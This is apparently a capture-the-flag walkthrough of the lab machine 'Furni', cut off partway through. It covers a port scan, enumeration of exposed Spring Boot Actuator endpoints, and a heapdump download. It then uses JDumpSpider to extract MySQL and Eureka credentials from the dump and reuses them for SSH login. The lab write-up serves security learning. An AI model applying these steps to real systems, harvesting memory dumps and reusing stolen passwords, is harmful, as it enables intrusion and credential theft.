RECON
Port Scan
$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpa5HH8lfpsh11cCkEoqcNXWPj6wh8GaDrnXst/q7zd1PlBzzwnhzez+7mhwfv1PuPf5fZ7KtZLMfVPuUzkUHVEwF0gSN0GrFcKl/D34HmZPZAsSpsWzgrE2sayZa3xZuXKgrm5O4wyY+LHNPuHDUo0aUqZp/f7SBPqdwDdBVtcE8ME/AyTeJiJrOhgQWEYxSiHMzsm3zX40ehWg2vNjFHDRZWCj3kJQi0c6Eh0T+hnuuK8A3Aq2Ik+L2aITjTy0fNqd9ry7i6JMumO6HjnSrvxAicyjmFUJPdw1QNOXm+m+p37fQ+6mClAh15juBhzXWUYU22q2q9O/Dc/SAqlIjn1lLbhpZNengZWpJiwwIxXyDGeJU7VyNCIIYU8J07BtoE4fELI26T8u2BzMEJI5uK3UToWKsriimSYUeKA6xczMV+rBRhdbGe39LI5AKXmVM1NELtqIyt7ktmTOkRQ024ZoSS/c+ulR4Ci7DIiZEyM2uhVfe0Ah7KnhiyxdMSlb0=
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNqI0DxtJG3vy9f8AZM8MAmyCh1aCSACD/EKI7solsSlJ937k5Z4QregepNPXHjE+w6d8OkSInNehxtHYIR5nKk=
| 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNmmTon1qbQUXQdI6Ov49enFe6SgC40ECUXhF0agNVn
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open http syn-ack Apache Tomcat (language: en)
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 \x0D
|_ Basic realm=Realm
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelPort 8761: exposed a Tomcat administrative interface. Typically, the initial move would involve brute-forcing with default Tomcat credentials (tomcat:tomcat, admin:admin, and so forth), pivoting to a WAR file deployment if authentication is compromised.
Simultaneously, the primary foothold appears accessible via http://furni.htb/—our front door into the system’s labyrinth.
Port 80
Look Around
Port 80 hosts a furniture e-commerce platform, where users can submit a contact form via a POST request:

We also find a /comment endpoint for blog submissions. However, after some XSS probing, no injection points were found vulnerable.
Dirsearch
$ dirsearch -u http://furni.htb/ -x 399-499
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12266
Target: http://furni.htb/
[20:22:04] Scanning:
[20:22:49] 200 - 14KB - /about
[20:22:51] 200 - 2KB - /actuator
[20:22:52] 200 - 20B - /actuator/caches
[20:22:53] 200 - 2B - /actuator/info
[20:22:53] 200 - 467B - /actuator/features
[20:22:53] 200 - 6KB - /actuator/env
[20:22:53] 200 - 15B - /actuator/health
[20:22:53] 200 - 3KB - /actuator/metrics
[20:22:53] 200 - 54B - /actuator/scheduledtasks
[20:22:53] 200 - 35KB - /actuator/mappings
[20:22:53] 200 - 36KB - /actuator/configprops
[20:22:53] 200 - 99KB - /actuator/loggers
[20:22:52] 200 - 180KB - /actuator/conditions
[20:22:52] 200 - 198KB - /actuator/beans
[20:22:53] 200 - 211KB - /actuator/threaddump
[20:22:53] 200 - 76MB - /actuator/heapdump
[20:23:26] 200 - 13KB - /blog
[20:23:27] 302 - 0B - /cart -> http://furni.htb/login
[20:23:29] 302 - 0B - /checkout -> http://furni.htb/login
[20:23:32] 302 - 0B - /comment -> http://furni.htb/login
[20:23:36] 200 - 10KB - /contact
[20:23:48] 500 - 73B - /error
[20:24:14] 200 - 2KB - /login
[20:24:16] 200 - 1KB - /logout
[20:24:46] 200 - 9KB - /register
[20:24:53] 200 - 14KB - /services
[20:24:54] 200 - 12KB - /shop
Task CompletedSpring Boot Actuator Endpoints are Public! /actuator endpoints like:
/env/heapdump/mappings/beans/loggers/heapdump(76MB!)
Clear signal: the backend rides on a Spring Boot application.
Port 8761 | Tomcat
This port leaks a Tomcat administration panel:

Old-school HTTP Basic Authentication in place:
GET / HTTP/1.1
Host: furni.htb:8761
Cache-Control: max-age=0
Authorization: Basic YWFhOmFhYQ==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SESSION=M2UwN2E2OTgtM2IxOS00ZmM4LThjYzQtYzUzMTY0MThiYTkz; JSESSIONID=225DC3A504EE3C9BF0CD445CACA6363B
Connection: keep-alive
WEB
Sprint Boot Actuator
/actuator
It strips the traditional Spring complexity down to a slick, fire-and-forget model—compile a .jar, and boom, the app breathes online with its own embedded server (Tomcat, Jetty, etc.).
Bundled with it comes Spring Boot Actuator — an operational god mode. Actuator opens special management endpoints like /actuator/health, /actuator/env, /actuator/heapdump, allowing real-time visibility into the application's pulse.
If these endpoints are exposed publicly, it’s game over. They spill system guts, environment secrets, memory states—a buffet for attackers.
Key Actuator Endpoints (Critical for Attackers):
| Endpoint | Usage | Risk |
|---|---|---|
| /actuator/env | Shows environment variables | Can leak DB creds, API keys, tokens |
| /actuator/heapdump | Dumps server memory snapshot | Credentials, tokens, sessions in RAM |
| /actuator/mappings | Lists all API routes | Discover hidden admin APIs |
| /actuator/beans | Lists internal objects | Reveal service structure, logic hints |
| /actuator/health | System health info | Minor info leak unless extended |
A naked /heapdump is a loaded shotgun pointed at the server’s own head.
Enum Endpoints
Env
Snagging /actuator/env dropped a detailed JSON on the deck, revealing the server’s internal configuration. The app’s default profile boots off a local application.properties at /var/www/web/Furni/src/main/resources/, where critical operational parameters live:
{
"name": "Config resource 'file [/var/www/web/Furni/src/main/resources/application.properties]' via location '/var/www/web/Furni/src/main/resources/application.properties'",
"properties": {
"spring.application.name": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 1:25"
},
"spring.session.store-type": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 2:27"
},
"spring.cloud.inetutils.ignoredInterfaces": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 3:42"
},
"spring.cloud.client.hostname": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 4:30"
},
"eureka.client.service-url.defaultZone": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 6:40"
},
"eureka.instance.hostname": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 7:26"
},
"eureka.instance.prefer-ip-address": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 8:35"
},
"spring.jpa.hibernate.ddl-auto": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 10:31"
},
"spring.datasource.url": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 11:23"
},
"spring.datasource.username": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 12:28"
},
"spring.datasource.password": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 13:28"
},
"spring.datasource.driver-class-name": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 14:37"
},
"spring.jpa.properties.hibernate.format_sql": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 15:44"
},
"server.address": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 17:16"
},
"server.port": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 18:13"
},
"server.forward-headers-strategy": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 20:33"
},
"management.endpoints.web.exposure.include": {
"value": "******",
"origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 22:43"
}
}
}- Database is configured (
spring.datasource.url,spring.datasource.username,spring.datasource.password): credentials are masked but possibly recoverable from heapdump memory. - This server uses Eureka service discovery, with
eureka.client.service-url.defaultZonedefined (although masked). This indicates the application actively participates in a service registry system, typically in microservice architectures.
It hints that internal service registration credentials exist.
Feature
Pulling /actuator/features showcased active integrations inside the Furni app:
{
"enabled": [
{
"type": "com.netflix.discovery.EurekaClient",
"name": "Eureka Client",
"version": "2.0.3",
"vendor": null
},
{
"type": "org.springframework.cloud.client.discovery.composite.CompositeDiscoveryClient",
"name": "DiscoveryClient",
"version": "4.1.4",
"vendor": "Pivotal Software, Inc."
},
{
"type": "org.springframework.cloud.loadbalancer.blocking.client.BlockingLoadBalancerClient",
"name": "LoadBalancerClient",
"version": "4.1.4",
"vendor": "Pivotal Software, Inc."
}
],
"disabled": []
}The app registers itself as a service to Eureka server of version 2.0.3. It fetches peers, and likely relies on load balancing between internal components.
Heapdump
We snag the heapdump straight from /actuator/heapdump:
$ curl -O http://furni.htb/actuator/heapdump
$ file heapdump
heapdump: Java HPROF dump, created Thu Aug 1 18:29:32 2024When the Java server was running:
- If the application had a password loaded in memory:
admin:SuperSecret123!- If it had active JWT sessions:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...- If it connected to a DB: JDBC URL and password would be alive.
The heapdump would contain raw memory bytes for those values.
To crack it open, unleash JDumpSpider:
$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump.hprof
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!
===========================================
MongoClient
-------------
not found!
===========================================
AliDruidDataSourceWrapper
-------------
not found!
===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string
not found!
===========================================
RedisStandaloneConfiguration
-------------
not found!
===========================================
JedisClient
-------------
not found!
===========================================
CookieRememberMeManager(ShiroKey)
-------------
not found!
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
===========================================
MutablePropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
local.server.port = null
spring.cloud.client.hostname = eureka
===========================================
MapPropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
spring.cloud.client.hostname = eureka
local.server.port = null
===========================================
ConsulPropertySources
-------------
not found!
===========================================
JavaProperties
-------------
not found!
===========================================
ProcessEnvironment
-------------
not found!
===========================================
OSS
-------------
not found!
===========================================
UserPassSearcher
-------------
org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, passwordParameter = password, formLoginEnabled = true, usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false, failureUrl = /login?error]
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false]
org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter:
[passwordParameter = password, usernameParameter = username]
org.antlr.v4.runtime.atn.LexerATNConfig:
[passedThroughNonGreedyDecision = false]
org.antlr.v4.runtime.atn.ATNDeserializationOptions:
[generateRuleBypassTransitions = false]
org.hibernate.boot.internal.InFlightMetadataCollectorImpl:
[inSecondPass = false]
com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin:
[firstPass = true]
com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin:
[publicKeyRequested = false]
com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin:
[publicKeyRequested = false]
com.mysql.cj.NativeCharsetSettings:
[platformDbCharsetMatches = true]
com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = Furni_WebApp_DB, useConnectWithDb = true, serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190]
com.mysql.cj.jdbc.ConnectionImpl:
[password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190]
com.mysql.cj.conf.HostInfo:
[password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190]
com.zaxxer.hikari.pool.HikariPool:
[aliveBypassWindowMs = 500, isUseJdbc4Validation = true]
org.springframework.cloud.netflix.eureka.EurekaClientConfigBean:
[eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false, eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50]
org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true]
org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = 0sc@r190_S0l!dP@sswd, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]
org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true]
com.zaxxer.hikari.HikariDataSource:
[password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]
org.apache.catalina.startup.Tomcat:
[hostname = localhost]Findings from Heapdump spider:
- MySQL Credentials:
- Username:
oscar190 - Password:
0sc@r190_S0l!dP@sswd - Database URL:
jdbc:mysql://localhost:3306/Furni_WebApp_DB
- Username:
- Eureka Service Credentials:
- Username:
EurekaSrvr - Password:
0scarPWDisTheB3st - Service URL:
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
- Username:
- Spring Boot Default User Password:
- Auto-generated password:
4312eecb-54e8-46b9-a645-5b9df3ea21d8
- Auto-generated password:
- Server Configuration:
- Application Name:
Furni - Server Port:
8082 - Session Store:
jdbc(sessions stored in database) - Hibernate setting:
format_sql=true
- Application Name:
MySQL
The credentials excavated from the heapdump — oscar190 / 0sc@r190_S0l!dP@sswd — grant SSH access as user oscar190:

Once inside, we breach the MySQL database: